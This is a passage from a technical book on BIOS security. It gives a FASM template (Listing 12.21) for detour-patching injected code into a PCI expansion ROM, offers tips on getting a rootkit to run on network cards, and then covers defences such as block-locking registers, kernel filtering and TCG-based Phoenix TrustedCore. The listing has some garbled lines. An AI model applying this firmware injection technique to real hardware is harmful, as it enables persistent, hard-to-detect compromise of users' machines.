If you look carefully at the execution environment, you'll notice that the interrupt handlers have been initialized because the interrupt vectors have been initialized. This opens a chance for you to create a rootkit that alters the interrupt handler routines.

Now, I'll proceed to the mechanics to inject a custom code to the PCI expansion ROM. However, I won't go too far and provide you with a proof of concept. I do show a PCI expansion ROM code injection "template," however—in section 12.3.1. At the end of that section, I elaborate on one obscure issue in PCI expansion ROM rootkit development. In a real-world scenario, the PCI expansion card already has a working binary in its expansion ROM chip. Therefore, you have to patch that binary to reroute the entry point\(^\text{11}\) to jump into your rootkit procedure. I use FASMW as the assembler to inject the code into the working binary because it has many features that let you inject your code and make a working injected PCI expansion ROM binary right away.

### 12.3.1. PCI Expansion ROM Detour Patching

Listing 12.21 shows the template to inject a code into a PCI expansion ROM named \texttt{rpl.rom}. Note that \texttt{rpl.rom} is the original PCI expansion ROM binary file. Look at the source code carefully because it contains many nonstandard assembly language tricks specific to FASM.

\(^{11}\) The entry point is the jump at offset 03h in the beginning of the PCI expansion ROM binary.
Listing 12.21 PCI Expansion ROM Detour Patching Example

use16

; -------------------------------- BEGIN HELPER MACRO --------------------------------
;  
; Macro to calculate 8-bit checksum starting at src_addr until 
; src_addr+len and then store the 2's complement of the 8-bit 
; checksum at dest_addr 
; 
macro patch_8_bit_chksum src_addr*, len*, dest_addr*
{
    prev_sum = 0  ; Init 8-bit prechecksum
    sum = 0       ; Init 8-bit checksum
    repeat len
        load sum byte from (src_addr + % - 1)
        sum = (prev_sum + sum ) mod 0x100
        prev_sum = sum
    end repeat
    store byte (0x100 - sum) at dest_addr
}
; -------------------------------- END HELPER MACRO --------------------------------

; Include the original ROM file to be injected with the custom code
;
; WARNING: This source code is specific for the custom ROM code
; that will be injected with this source code!
;
; Note: The jump instruction in the ROM header will be
; rerouted to the custom injected code.
; -------------------------------- BEGIN HELPER MACRO --------------------------------

_org_rom_start:
file 'RPL.ROM'

load rom_jmp byte from (_org_rom_start + 3)

if rom_jmp = 0xEB
    load _org_entry_point byte from (_org_rom_start + 4)
    _org_entry_point = _org_entry_point + 5 ; _org_entry_point = offset
        ; in ROM binary
else if rom_jmp = 0xE9
    load _org_entry_point word from (_org_rom_start + 4)
    _org_entry_point = _org_entry_point + 6 ; _org_entry_point = offset
        ; in ROM binary
else
    display 'Warning: ROM header doesn't use 8-bit or 16-bit jump
        instruction'
end if
; From this point on it's the injected code
;
_start:

; Initialize video mode
mov ax, 1
int 10h

mov ax, cs ; Initialize segment registers
mov ds, ax
mov si, _msg_executed
call display_string
mov bx, 3
call delay
mov bl, 'x'
call check_key_press
or ax, ax
jz exit
mov si, _msg_key_press
call display_string

exit:
jmp _org_entry_point

delay:
; Delay approximately the number of seconds as stored in bx register
; in: bx = number of second(s) of the delay
pushad
mov ax, 18
mul bx
mov esi, eax ; Save number of clock tick delay in esi
mov ax, 0
int 1Ah
mov ax, cx
shl eax, 16
add ax, dx
mov edi, eax ; Save start clock tick in edi

.next:
mov ah, 0
int 1Ah
mov ax, cx
shl eax, 16
add ax, dx
sub eax, edi
cmp eax, esi ; Does it reach the delay interval?
jb .next

.exit:
popad
check_key_press:
; Check the existence of certain key press
; in: bl = ASCII character be checked
; returns: 1 in ax if key press scan code is equal to value in bl
;      0 in ax if key press is _not_ equal to the requested scan code
    mov ah, 1
    int 16h
    cmp al, bl
    jz .set_ax
    mov ax, 0
    jmp .exit
.set_ax:
    mov ax, 1
.exit:
    retn

display_string:
; in: ds:si = pointer to 0-terminated string to be displayed
    cld
    .next_char:
        lodsb
        or    al, al
        jz    .exit
        mov   ah, 0xE ; Video write character
        mov   bx, 7
        mov   cx, 1   ; Only write character 1 time
        int   10h
        jmp   .next_char
.exit:
    retn

_msg_executed db "PCI expansion ROM injected code executes!",0
_msg_key_press db 0xD,0xA,"x key press detected!",0

; ------------------ BEGIN __BIG__ __FAT__ __NOTE__ ----------------------
; FASM interpreter can patch the resulting binary _after_ the source code is compiled. That's why you have to put the "binary patcher" code in the end of the listing. This trick is mainly to satisfy the requirements needed to calculate the addresses of the labels.
; ------------------ END __BIG__ __FAT__ __NOTE__ ----------------------

; Redirect original ROM entry point to point to the injected code
;
; NOTE: This is a _brute force_ approach.
; store word 0 at (_org_rom_start + 0x13) ; Store end of string marker
; because some expansion ROM uses the area
; after the ROM header for string
; jmp (_org_rom_start+0x15)
store byte 0xEB at (_org_rom_start + 0x3)
store byte (0x15 - 0x5) at (_org_rom_start + 0x4)
; jmp _start
if ( (_start - (_org_rom_start + 0x17)) > 0xFF )
  store byte 0xE9 at (_org_rom_start + 0x15)
  store word (_start - (_org_rom_start + 0x18)) at (_org_rom_start + 0x16)
else
  store byte 0xEB at (_org_rom_start + 0x15)
  store byte (_start - (_org_rom_start + 0x17)) at (_org_rom_start + 0x16)
end if
; --------------------------------------------------------------------
; Calculate and patch PCI ROM size and add padding bytes for the
; custom ROM code
; rom_size = ( ( ($-_start) + 511) / 512 ) ; PCI ROM size in multiple of
; 512 bytes
; times ( rom_size * 512 - ($-_start) ) db 0 ; Insert padding bytes
; --------------------------------------------------------------------
; Place the 8-bit patch_byte for the checksum in the reserved word of
; the original PCI data structure
; load _org_pcir_reserved word from (_org_rom_start + 0x18)
_load_pcir_reserved = _org_pcir_reserved + 0xl6
patch 8_bit_chksum _org_rom_start, ($-_org_rom_start), _org_pcir_reserved

Listing 12.21 is indeed hard to understand for the average assembly language
programmer who hasn't work with FASM. I'll start by explaining the idea behind the source
code. You know the basic idea of a PCI expansion ROM rootkit from figure 12.12. In that
figure, you saw that to inject a rootkit code into a working PCI expansion ROM binary, you
have to patch the entry point of the original PCI expansion ROM and place your code in the
"free space" following the origin al binary. Moreover, you also have to ensure that the size
of the new binary is in a multiple of 512 bytes and it has a correct 8-bit checksum. These
restrictions can be broken down into a few fundamental requirements such that the
assembler is able to carry out all tasks in one source code.\(^\text{12}\) They are as follows:

\(^\text{12}\) The tasks in this context refer to calculating the checksum, adding padding bytes, patching the
original PCI expansion ROM, etc.
1. The assembler must be able to work with the original binary, in particular reading bytes from it and replacing bytes in the original binary.
2. The assembler must be able to produce a final executable\(^{13}\) binary file that combines both the injected code and the original binary file.

Among all assemblers that I've come across, only FASM that meets both of the preceding requirements. That's why I'm using FASM to work with the template.

Figure 12.13 presents the overview of the compilation steps when FASM assembles the source code in listing 12.21.

---

\(^{13}\)Executable in this context means the final PCI expansion ROM.
The preceding code snippet means: obtain the 16-bit value from address _org_rom_start + 0x18 in the output binary and place it in the _org_pcir_reserved variable. This should be clear enough. Now move on to store instruction:

store byte 0xE9 at (_org_rom_start + 0x15)

The preceding code snippet means: store a byte with a 0xE9 value to address _org_rom_start + 0x15 in the output binary. This code patches or replaces the byte at address _org_rom_start + 0x15 with 0xE9.

More information about the FASM-specific syntax in listing 12.21 is available in the FASM programmer's manual, version 1.66 or newer. You can download this manual at http://flatassembler.net/docs.php.

The code in listing 12.21 will display some messages and wait for the user to press the <x> key on the keyboard during boot, i.e., when the PCI expansion ROM is being initialized. It has a timeout, however. Thus, if the user doesn't press "x" and the timeout passes, the injected code jumps into the original PCI expansion ROM code and the boot process will resume. The rest of the source code is easy enough to understand.

Now you know the principle and the template needed to create your own custom code to be injected into a PCI expansion ROM. The rest depends on your imagination.

12.3.2. Multi-image PCI Expansion ROM

If you are a proficient hardware engineer or hardware hacker, you might read the PCI specification carefully and find out that why don't I use the PCI expansion ROM multi-image approach to implement the rootkit in the PCI expansion ROM. Recall from figure 7.2 in chapter 7 that a single PCI expansion ROM binary can contain more than one valid PCI expansion ROM—every PCI expansion ROM in this binary is referred to as an image. This concept directly corresponds to the PCI expansion ROM data structure. Recall from table 7.2 in chapter 7 that you can see the last byte in the data structure is a flag that signifies whether or not the current image is the last image in the PCI ROM binary. If you set this flag to indicate that the current image is not the last image in the PCI data structure for the first image, then you might think that the mainboard BIOS will execute the second image, too, when it initializes the PCI expansion ROM. However, this is not the case. Look at figure 12.14.
Figure 12.14 Multi-image PCI expansion ROM initialization

Figure 12.14 shows that even if a PCI expansion ROM contains more than one valid image, only one is executed by the motherboard: the first valid image for the corresponding processor architecture that the motherboard supports. I have validated this hypothesis a few times in my experimental x86 machines. It seems to be that the multiple image facility in PCI protocol is provided so that a single PCI expansion card can plug into machines with different machine architecture and initialize itself seamlessly by providing specific code (one image in the overall binary) for each supported machine architecture. This means only one image will be executed in one system, as confirmed by my experiments. In my experiment, I create a single PCI expansion ROM binary, which contains two valid PCI expansion ROMs for x86 architecture. I plugged the PCI expansion card that contains the PCI expansion ROM binary in several machines. However, the second image was never executed; only the first one was executed. Nonetheless, this opens the possibility to create an injected code that supports several machine architectures. I’m not going to talk about it in this book. However, you might be interested in conducting research about such a possibility.

12.3.3. PCI Expansion ROM Peculiarity in Network Cards

The last issue regarding a PCI expansion ROM–based BIOS rootkit is the peculiarity of PCI expansion ROM in a network card. My experiments show that PCI expansion ROM for a network card is executed only if the BIOS setting in the motherboard is set to boot from LAN. Even the PCI expansion ROM's init function won't be executed if this is not set. I've read all related documentation, such as PCI specification version 3.0, and various BIOS boot specifications to confirm that this behavior is inline with all specifications. However, I couldn't find one that talked about it specifically. Nonetheless, it's safe to assume that you have to account for this standard behavior if you are injecting your code into PCI expansion ROM binary in a network card. You have to realize that the administrator in the target system might not set the boot from LAN option in its BIOS; therefore, your code will never execute. Pay attention to this issue.

This concludes my explanation of the PCI expansion ROM–based rootkit.
/preview

The previous chapters explained BIOS-related security issues mainly from the attackers' point of view. This chapter dwells on the opposite point of view, that of the defenders. The focus is on the prevention and mitigation of BIOS-related attacks. I start with the prevention method and then advance to the mitigation methods to heal systems that have been compromised by BIOS-related attack techniques.

13.1. Prevention Methods

This section explains the methods to prevent an attacker from implanting a BIOS-based rootkit in your system. As you learned in the previous chapters, there are two kinds of subsystems that can be attacked by a BIOS-based rootkit, the motherboard BIOS and the PCI expansion ROM. I start with the motherboard BIOS and proceed to the PCI expansion ROM issue.

13.1.1. Hardware-Based Security Measures

Recall from section 11.4 in chapter 11 that there is a hardware-based security measure in the motherboard BIOS chip to prevent an attacker from altering its contents. Certain registers in the BIOS chip—the BLRs—can prevent access to the BIOS chip, and their value cannot be changed after the BIOS initializes them, meaning that only changing the BIOS setup would change the status of the hardware-based protection. Therefore, the attacker needs physical access to the system to disable the protection. Nonetheless, there is a flaw to this prevention mechanism. If the default value of the BIOS setting in the BIOS code disables this protection, there is a possibility that the attacker can invalidate the values inside the CMOS chip remotely—within the running operating system—and restart the machine remotely afterward to disable the hardware-level protection. This happens because most machines force loading of the default value of the BIOS setting if the checksum of values in the CMOS is invalid.

Before proceeding, a comparison study among flash ROM chips used as the BIOS chip in the motherboard is important because you need to know the nature of the implementation of the hardware-level protection. I presented the hardware-based protection example in chapter 11 with the Winbond W39V040FA chip. Now, look at another sample from a

---

1 Once the lock-down bit in the chip is activated, the state of the write-protection mechanism cannot be changed before the next boot or reboot. This doesn't imply that you can change the write-protection mechanism in the next reboot. For example, if the lock-down bit initialization is carried out by the BIOS, you cannot change the state of the write protection unless you change the BIOS.
different manufacturer. This time I present a chip made by Silicon Storage Technology (SST), the SST49LF004B flash ROM chip. This chip is a 4-megabit (512-KB) FWH-based BIOS chip. It's compatible with the LPC protocol. Therefore, it's connected with the other chip in the motherboard through the LPC bus.

Because most working principles of an FWH-based flash ROM chip are the same, I won't dwell on it. Please refer to section 11.4 about the fundamentals on this issue. You can download the datasheet for SST49LF004B at http://www.sst.com/products.xhtml/serial_flash/49/SST49LF004B.

Now, proceed to SST49LF004B internals. First, look at the memory map of SST49LF004B in figure 13.1. This memory map is shown from the flash ROM address space, not the system-wide memory address space of x86 systems.

![Figure 13.1 SST49LF004B memory map](image)

As you can see in figure 13.1, SST49LF004B is composed of eight 64-KB blocks, which means the total capacity of this chip is 512 KB. Every block has its control register, named BLR, that manages the reading and writing. You learned about the fundamentals of the BLR in section 11.4. Therefore, I will proceed directly to the memory map of the BLRs from the SST49LF004B datasheet. It's shown in table 13.1.
<table>
<thead>
<tr>
<th>Registers (BLRs)</th>
<th>Block Size</th>
<th>Protected Memory Address Range (in the chip)</th>
<th>4-GB System Memory Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>T_BLOCK_LK</td>
<td>64 KB</td>
<td>7FFFFh–70000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>T_MINUS01_LK</td>
<td>64 KB</td>
<td>6FFFFh–60000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>T_MINUS02_LK</td>
<td>64 KB</td>
<td>5FFFFh–50000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>T_MINUS03_LK</td>
<td>64 KB</td>
<td>4FFFFh–40000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>T_MINUS04_LK</td>
<td>64 KB</td>
<td>3FFFFh–30000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>T_MINUS05_LK</td>
<td>64 KB</td>
<td>2FFFFh–20000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>T_MINUS06_LK</td>
<td>64 KB</td>
<td>1FFFFh–10000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>T_MINUS07_LK</td>
<td>64 KB</td>
<td>0FFFFh–00000h</td>
<td>FFBF0002h</td>
</tr>
</tbody>
</table>

Table 13.1 SST49LF004B BLRs memory map

The protected memory address range column in table 13.1 refers to the physical address of the BLR with respect to the beginning of the chip address space; it is not in the system-wide address space context. If you compare the contents of table 13.1 and table 11.1 in chapter 11, it's immediately clear that both tables are almost identical. The difference is only in the name of the BLR. This naming depends on the vendor. Nonetheless, both names refer to the BLR. Just as in Winbond W39V040FA, the BLRs in SST49LF004B are 8-bit registers. Table 13.2 shows the meaning of each bit in these registers.

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>000000</td>
<td>0</td>
<td>0</td>
<td>Full access</td>
</tr>
<tr>
<td>000000</td>
<td>0</td>
<td>1</td>
<td>Write-locked (default state at power-up)</td>
</tr>
<tr>
<td>000000</td>
<td>1</td>
<td>0</td>
<td>Locked open (full access locked down)</td>
</tr>
<tr>
<td>000000</td>
<td>1</td>
<td>1</td>
<td>Write-locked down</td>
</tr>
</tbody>
</table>

Table 13.2 SST49LF004B BLRs bit

Table 13.2 shows that the topmost six bits in each BLR are reserved. It means that these bits should not be altered. The lowest two bits control the locking mechanism in the chip. Moreover, recall from figure 13.1, that the top boot block (TBL#) and write-protect (WP#) pins in the SST49LF004B control the type of access granted into the contents of the chip. These pins are overrides to the BLR contents because their logic states determine the overall protection mechanism in the chip. The working principle of the BLR bits, the TBL# pin, and WP# pin are explained in SST49LF004B datasheet. A snippet is shown here.

**Write Lock:** The write-lock bit, bit 0, controls the lock state. The default write status of all blocks after power-up is write-locked. When bit 0 of the block locking register is set, program and erase operations for the corresponding block are prevented. Clearing the write-lock bit will unprotect
The block. The write-lock bit must be cleared prior to starting a program or erase operation since it is sampled at the beginning of the operation.

The write-lock bit functions in conjunction with the hardware write-lock pin TBL# for the top boot block. When the TBL# is low, it overrides the software locking scheme. The top boot block locking register does not indicate the state of the TBL# pin.

The write-lock bit functions in conjunction with the hardware WP# pin for blocks 0 to 6. When WP# is low, it overrides the software locking scheme. The block locking registers do not indicate the state of the WP# pin.

**Lock Down:** The lock-down bit, bit 1, controls the block locking registers. The default lock-down status of all blocks upon power-up is not locked down. Once the lock-down bit is set, any future attempted changes to that block locking register will be ignored. The lock-down bit is only cleared upon a device reset with RST# or INIT# or power-down. Current lock-down status of a particular block can be determined by reading the corresponding lock-down bit.

Once the lock-down bit of a block is set, the write-lock bits for that block can no longer be modified and the block is locked down in its current state of write accessibility.

The motherboard maker can use the override pins to implement a custom BIOS protection mechanism in its motherboard by attaching the pin to another programmable chip. Nonetheless, that approach will reduce the compatibility of the motherboard with flash ROM from other vendors; this is not a problem for flash ROM soldered into the motherboard, however, because the chip would never be replaced.

The hardware-based protection explained in section 11.4 and the current explanation are similar because both BIOS chips adhere to a standard FWH specification. Intel conceived this standard. The first implementation of this standard was on the Intel 82802AB chip in 2000. Many firmware and chipset vendors adopted the standard shortly after the first implementation. The BLR explained in section 11.4 and in this section is also part of the FWH specification. If you want to know the original FWH specification, download the Intel 82802AB datasheet at http://www.intel.com/design/chipsets/datasheets/290658.htm?iid=ipp_810chpst+info_ds_fwh. Reading the Intel 82802AB datasheet will give you a glimpse of the implementation of other FWH-based flash ROM chips.

Based on the preceding analysis, the prerequisite for a hardware-based security measure in a motherboard BIOS chip to work without a flaw from remote attacks is that the BIOS code must implement the default value of the BIOS setting that prevents writing into the BIOS chip after boot completes—preventing writing to the BIOS chip within the operating system. It’s better if the BIOS code disables access to the BIOS chip because the attacker won’t be able to read and analyze the contents of the BIOS chip within the operating system. This prevention method will protect the system from remote attacks that will disable the hardware-based BIOS chip protection by invalidating the CMOS checksum and restarting the system. If the BIOS code doesn’t provide the protection code, you still have a
chance to protect your system or at least raise the bar for an attacker who wants to infect your BIOS with a rootkit from a remote place. This prevention method is accomplished by developing a device driver that will initialize the BLR upon the boot of the operating system. The initialization by the driver will configure the BLR bits so that the BIOS chip contents will be write-locked. This way, the attacker has to work to find the driver before he or she can infect the BIOS. This is especially hard for the attacker if the driver is stealthy.

I'm not proposing a BIOS patching approach to alleviate the "bad" BIOS code implementation of the protection mechanism—BIOS that doesn't write-lock the BIOS chip upon boot—because I think it will be hard to modify the BIOS binary to make that happen, especially for a BIOS that has no publicly available modification tool. It's just too risky to implement such a thing in the today's BIOS.

13.1.2. Virtual Machine Defense

Another prevention method that may help defend a BIOS rootkit is the implementation of a virtual machine. When attackers target the operating system running within the virtual machine, they may find a BIOS within that operating system. However, it's not the real motherboard BIOS. Thus, they won't harm the system. However, this method won't work if the attackers realize that the system running on top of a virtual machine because they will try to gain full control of the system to gain access to the real BIOS chip in the motherboard. As a side note, some virtual machines use a modified version of AMI BIOS as the BIOS.

Another issue that I haven't researched yet is the "presentation" of the emulated hardware inside the virtual machine. I don't know yet how real the virtual machine–emulated hardware looks when an attacker has gained full access to the virtual machine entity remotely.

13.1.2. WBEM Security in Relation to the BIOS Rootkit

In this subsection, I'm not going to delve into the issue of implementing a WBEM security measure because a WBEM-based attack entry point is in the application layer, not in the BIOS. However, I want to explain the danger caused by a compromised WBEM infrastructure in connection with a BIOS rootkit deployment scenario. This is important because few people are aware that a compromised WBEM infrastructure can help attackers launch a firmware-level assault on the systems inside the WBEM infrastructure.

Attackers who have gained access to the overall WBEM infrastructure likely will implement a low-level rootkit to maintain their access in the compromised systems. This means they will probably try to infect the compromised system with BIOS rootkit. Here is

---

2 WBEM infrastructure in this context consists of desktops and servers that implement a certain WBEM specification and can respond to remote queries that request the system-level configuration information.
the possible attack scenario that uses WBEM as an aid to launch an organization-wide BIOS rootkit infection.

In chapter 10, I talked about WMI as one implementation of WBEM. In practice, one uses of WMI is to detect the configuration of the client machines connected to a local Windows update server. This server provides the latest patches and updates for Microsoft Windows inside an organization. A local Windows update server detects the configuration of the client machine before sending the updates and patches to the client machine. The detection is carried out through WMI interface. The client configuration data is stored in the local Windows update server so that future updates for the client can be performed faster; time is not wasted probing for the details of the client through the WMI interface again. Because the local Windows update server caches the client machine configuration, attackers who compromise the server will have access to the configuration data of the machines that have been using the server. Recall from figure 10.6 that the motherboard type and BIOS version of the client computer are among the configuration information available in the server. With this information, attackers can launch an organization-wide BIOS rootkit infection more easily. Such a scenario is shown in figure 13.2.
Figure 13.2 WBEM-aided attack scenario

Note that in figure 13.2 the local Windows update server is not marked as the target of step 2 of the attack. However, the Windows update server can become the target of BIOS rootkit infection if the attackers desire. The comments in figure 13.2 may not be obvious. Therefore, steps of the attack procedure are as follows:

1. The attackers penetrate the organization's computer network and compromise the local Windows update server.
2. Based on the detailed client data in the Windows update server, the attackers search as needed for relevant datasheets regarding the next target—the machine that will be infected with a BIOS rootkit. Datasheets may be unnecessary if the system is already well known to the attacker. Then, the attacker devises the system-specific BIOS rootkit. In many organizations, workstations and desktops...
use the same hardware configuration, or at least have many similarities. This eases
the deployment of BIOS rootkit by the attackers.

In the real world, few organizations may implement a local Windows update server.
Nonetheless, an attack scenario like this must be addressed because it greatly affects the
organization.

13.1.3. Defense against PCI Expansion ROM Rootkit Attacks

Compared to the rootkit in the motherboard BIOS, a PCI expansion ROM-based rootkit
is hard to protect because there is no hardware security measure implemented in the PCI
expansion ROM chip. The size of the PCI expansion ROM chip varies from 32 KB to 128
KB, and most flash ROM chips in this category don't have a special write-protection
feature. There is no BLR-like feature in most PCI expansion ROM chips. Therefore, any
valid access to the PCI expansion ROM chip is immediately granted at the hardware level.

The absence of hardware-level protection in the PCI expansion ROM chip doesn't mean
that you can't overcome a security threat. There are hypothetical methods that you can try.
They haven't been tested, and most of them are Windows specific. Nonetheless, they are
worth mentioning. The methods are as follows:

1. Some PCI expansion card chipsets\(^3\) map the expansion ROM chip in the memory
   address space. In Windows, this memory address space is accessed directly using
   the `MmGetSystemAddressForMdlSafe` kernel function and other memory
   management functions. By hooking into this function in the kernel, you can filter
   unwanted accesses to a certain memory address range in the system. If the filter is
   applied to a memory-mapped PCI expansion ROM chip, it can guard against
   malicious access to the PCI expansion ROM contents. The same principle can be
   applied to a UNIX-like operating system, such as Linux. However, the kernel
   function that you have to watch for is different, because the operating system is
different from Windows. In any case, the implementation of your "hook function"
in this context refers to the memory address ranges that have been reserved for the
PCI expansion ROM by the motherboard BIOS during system-wide address space
initialization upon boot.

2. Some PCI expansion card chipsets map the expansion ROM to the I/O address
   space. You learned about this when you were working with the RTL8139-based
card in chapter 9. The I/O address space of the expansion ROM is accessed
   through PCI bus transactions. There is no way to prevent those transactions if the
   attackers use direct hardware access, i.e., write to the PCI data port and address

\(^3\) In this context, PCI expansion ROM chipsets are the controller chip in the PCI expansion card, such
   as the Adaptec AHA-2940U SCSI controller, the Nvidia GeForce 6800 chip, and the ATI Radeon
   9600XT chip.
port directly. If the attackers use a kernel function to carry out the PCI bus transactions, you can filter it, akin to the method explained in the previous method.

Both of the preceding hypothetical prevention methods work only if the attackers don't have physical access to the machine. If they do, they can install the rootkit by rebooting the machine to an unsecured operating system, such as DOS, and reflashing the PCI expansion ROM with an infected PCI expansion ROM binary.

The previous explanation clarifies the issue of preventing PCI expansion ROM–based attacks. You can conclude that it's still a weak point in the defense against a firmware-level security threat.

In the future, when hardware-level protection similar to the BLR in the motherboard BIOS chip is implemented in the PCI expansion ROM chip, implementing a protection mechanism in the PCI expansion card will be easier for hardware vendors and third-party companies.

13.1.4. Miscellaneous BIOS-Related Defense Methods

There are some prevention methods in addition to those I have talked about in the previous subsections. I will explain one of them, the Phoenix TrustedCore BIOS. This type of BIOS has just entered the market. It's worth exploring in this subsection because it gives a glimpse into the future of BIOS protection against malicious code.

In coming years, BIOS implementation will be more secure than most BIOS currently on the market. This is because of the industry-wide adoption of standards by Trusted Computing Group (TCG), such as the Trusted Platform Module (TPM) and the TPM Software Stack (TSS). The Phoenix TrustedCore BIOS is one BIOS implementation that adheres to standards by TCG.

TCG standards are quite hard to understand. Therefore, I give an overview of them before moving to Phoenix-specific implementation—the Phoenix TrustedCore. TCG standards consist of many documents. It's not easy to grasp the documentation effectively. Figure 13.3 shows the steps for reading the TCG standards documents to understand their implementation in PC architecture.
Figure 13.3 shows that the first document you have to read is the *TCG Specification Architecture Overview*. Then, proceed to the platform-specific design guide document, which in the current context is the PC platform specification document. You have to consult the concepts explained in the TPM main specification, parts 1–4, and the TSS document while reading the PC platform specification document—the dashed blue arrows in figure 13.3 mean "consult." You can download the *TCG Specification Architecture Overview* and TPM main specification, parts 1–4, at https://www.trustedcomputinggroup.org/specs/TPM. The TSS document is available for download at https://www.trustedcomputinggroup.org/specs/TSS, and the PC platform specification document is available for download at https://www.trustedcomputinggroup.org/specs/PCClient.

The PC platform specification document consists of several files; the relevant ones are *TCG PC Client–Specific Implementation Specification for Conventional BIOS* (as of the writing of this book, the latest version of this document is 1.20 final) and *PC Client TPM Interface Specification FAQ*. Reading these documents will give you a glimpse of the concepts of trusted computing and some details about its implementation in PC architecture.

Before moving forward, I'll explain a bit more about the fundamental concept of trusted computing that is covered by the TCG standards. The *TCG Specification Architecture Overview* defines *trust* as the "expectation that a device will behave in a particular manner for a specific purpose." The advanced features that exist in a trusted platform are protected capabilities, integrity measurement, and integrity reporting. The focus is on the integrity measurement feature because this feature relates directly to the BIOS. As per the *TCG Specification Architecture Overview*, integrity measurement is "the process of obtaining metrics of platform characteristics that affect the integrity (trustworthiness) of a platform; storing those metrics; and putting digests of those metrics in PCRs [platform configuration registers]." I'm not going to delve into this definition or the specifics about PCRs. Nonetheless, it's important to note that in the TCG standards for PC architecture, *core root of trust measurement (CRTM)* is synonymous with *BIOS boot block*. At this point, you have
seen a preview of the connection between the TCG standards and its real-world implementation. The logical position of CRTM in the overall system is shown in figure 13.4.

As you can see, figure 13.4 shows that CRTM is the BIOS boot block and that the CPU reset vector points to a location inside the CRTM.

Now, examine Phoenix TrustedCore. Its documentation is available for download at the following links:
• The link to the Phoenix TrustedCore SP3b datasheet is http://www.phoenix.com/NR/rdonlyres/C672D334-DD93-4926-AC40-EF708B75CD13/0/TrustedCore_SP3b_ds.pdf.
• The link to the Phoenix TrustedCore white paper is https://forms.phoenix.com/whitepaperdownload/trustedcore_wp.aspx. Note that this link points to an electronic form that you have to fill in before you are allowed to download the white paper. The white paper is free.
• The link to download the Phoenix TrustedCore Notebook white paper is http://www.phoenix.com/NR/rdonlyres/7E40E21F-15C2-4120-BB2B-01231EB2A2E6/0/trustedcore_NB_ds.pdf. This white paper is quite old. Nonetheless, it's worth reading.

With regard to TCG standards, there are two requirements for the BIOS boot block that are fulfilled by the Phoenix TrustedCore, as follows:

1. A host-platform manufacturer-approved agent or method modifies or replaces code or data in the boot block.
2. The manufacturer controls the update, modification, and maintenance of the BIOS boot block component, and either the manufacturer or a third-party supplier may update, modify, or maintain the POST BIOS component.

In this case, the boot block plays a role as the CRTM, which means it is used to measure the integrity of other modules in the PC firmware. Having read the preceding requirements, go back to the prevention method theme. What does Phoenix TrustedCore BIOS offer? To put it simply, this new approach to BIOS implementation provides two levels of protection against tampering for the BIOS boot block:

1. Any modification to BIOS code must meet strong authentication requirements. The system prevents a nonmanufacturer-approved BIOS flashing utility from writing into the CRTM. This is achieved by activating the hardware-based write-lock to the boot block except in a specific case, i.e., when a manufacturer-approved BIOS flashing utility is updating the boot block.
2. Any modification to BIOS code must meet strong verification requirements. The system uses a strong cryptographic method to verify the integrity of the firmware. This is achieved by using a strong cryptographic algorithm, such as RSA.

Phoenix provides details of implementation for both of the preceding protection levels in its TrustedCore white paper, as cited here:

---

The following details refer to a high-level implementation of a secure CRTM and BIOS design.

Hardware and Software:

- Use appropriate flash ROM parts that support lock down of the write-lock bit setting.
Employ board designs that follow recommended design guidelines (e.g., no hardware settings or jumpers or other unsecured backdoor methods for BIOS recovery).

Employ Secure WinFlash support on the Phoenix TrustedCore BIOS.

Have infrastructure for setting up key management and digital signing of the BIOS image (Phoenix provides a starter kit with a toolset to get started).

Use the Phoenix Secure WinFlash tool for flash updates.

Additional requirements:

All backdoors (if any) for unsecured BIOS updates must be closed (no boot-block-based BIOS recovery unless the CRTM is locked and immutable).

Optionally, non-CRTM regions of the flash part may be selectively chosen to be not locked down for any OEM/ODM-specific purposes.

Implement a "rollback protection" policy where an authorized user (e.g., an administrator or supervisor) could choose (preferably only once) to allow or block an older version of BIOS.

Now, I move forward to show you how the preceding points are being implemented in the Phoenix TrustedCore BIOS products. Phoenix implemented the concept by combining both the BIOS binary and the BIOS flasher program into one "secure" BIOS flasher executable. It's still unclear whether there is a non-Windows version of this binary; I couldn't find any clues about that Phoenix documentation.

What follows is the logical diagram of the BIOS flashing procedure for Phoenix TrustedCore binaries. This logical diagram is a reproduction of the logical diagram in the Phoenix TrustedCore white paper.

---

4 The combined BIOS binary and BIOS flasher software is supposed to be secure. However, someone might be able to break its protection in the future.
Figure 13.5 BIOS update algorithm for the Phoenix TrustedCore binary

Figure 13.5 shows that in Phoenix TrustedCore every BIOS update procedure always starts from the boot block code. It never starts from other—more vulnerable—machine states. The normal BIOS update process is carried out in the S3-resume path. The BIOS recovery procedure doesn't use the same path. Nonetheless, the Phoenix TrustedCore BIOS update process is more secure compared to most BIOS update procedures on the market.

Some steps in the BIOS update procedure in figure 13.5 may not be obvious yet. I'll do my best to explain them. The normal BIOS update path for Phoenix TrustedCore is the left branch in figure 13.5—the path marked "Normal POST path." In this path, the BIOS update
procedure starts inside the operating system, i.e., Windows. It's accomplished by running the Phoenix Secure WinFlash application. Figure 13.6 shows the screenshot of the application.

![Phoenix Secure WinFlash](image)

**Figure 13.6 Phoenix Secure WinFlash**

Figure 13.6 is taken from a BIOS update utility for a Compaq Presario V2718WM notebook.

The BIOS binary to be flashed to the BIOS chip is buffered in RAM while WinFlash is running. Then, the BIOS update procedure moves to the next step, initializing the credentials necessary to verify the integrity of BIOS binary during BIOS update. Then, WinFlash "restarts" the machine. This restart is not an ordinary restart that you are used to seeing, because the code execution in the machine will be redirected as if it is waking from the S3 ACPI sleep state. This process is called **S3-resume** in figure 13.5. The details of the ACPI S3 sleep state are explained in version 3.0 of the ACPI specification. The relevant subsections from the specification are cited here for your convenience.

### 7.3.4.4 System S3 State

The S3 state is logically lower than the S2 state and is assumed to conserve more power. The behavior of this state is defined as follows:

- The processors are not executing instructions. The processor-complex context is not maintained.
- Dynamic RAM context is maintained.
- Power resources are in a state compatible with the system S3 state. All power resources that supply a system-level reference of S0, S1, or S2 are in the OFF state.
- Devices states are compatible with the current power resource states. Only devices that solely reference power resources that are in the ON state for a given device state can be in that device state. In all other cases, the device is in the D3 (OFF) state.
